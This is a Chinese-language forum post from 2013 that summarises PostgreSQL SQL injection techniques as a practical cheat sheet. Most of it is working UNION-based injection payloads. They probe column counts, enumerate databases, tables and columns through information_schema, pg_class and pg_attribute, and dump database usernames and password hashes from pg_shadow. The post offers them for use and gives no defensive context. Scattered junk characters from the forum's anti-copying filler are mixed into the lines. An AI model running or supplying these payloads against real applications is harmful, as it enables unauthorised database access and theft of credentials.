找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2246|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
) f2 @" U, q1 R5 z

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/4 g: g& J3 g8 y% D
连接符: %20 , + , /**/

内置函数:; P, l3 P% i) M) L$ W0 d# n  Z
current_database() //当前数据库名: i7 B" z9 c8 y5 ~, w
session_user //会话用户; P2 J: P% B$ n  F, w2 h
current_user //当前数据库用户' F9 k7 A' A& ?* J2 X% ]+ ?" ~
user //当前用户
# H0 I  q& C+ u' k6 t; _: d% O" Vversion() //数据库版本

Union注射:
. _, a9 d2 ]5 z$ b' Zorder by n–
% a* }, K! V2 f3 ~and 1=2 union select null,null,null–
  w+ D( a2 H! z* g0 Vand 1=2 union select ‘beach’,null,null–
6 ]  q% s7 s2 Q5 y/ _3 x" S# V$ Nand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
, X( ?6 v, U8 V1 cgroup_concat(table_name): N, r) s/ q5 G$ h
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
; M& |: H$ X$ C* J7 f5 Uand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
, }& z- P/ @# h(老版本)
) n. W( w! O6 J5 x1 J/ V+ |pg_class.oid对应pg_attribute.attrelid. K, _5 \% w# z: ]: G
pg_class.relname表名
& I& o( u8 d+ k, Gpg_attribute.attname字段名

select relname from pg_class获取表名
4 w# e- i1 P. Y2 ]6 N' ^* Pselect oid from pg_class where 条件 获取参数8 m5 t3 }1 k' c2 N* Q
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:0 T) p: m+ k  j  o  ^# x
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表) b+ K8 U9 ^1 w* b" s$ U! T
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–7 ~! I3 j4 x7 Q/ |6 a% s
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
, h4 I6 r" Y3 Q. b======================================================================! b* _" V  Z+ e- g7 b
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
$ h! K* L5 Q" K0 W7 R9 J/ G- ~8 F+ kand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表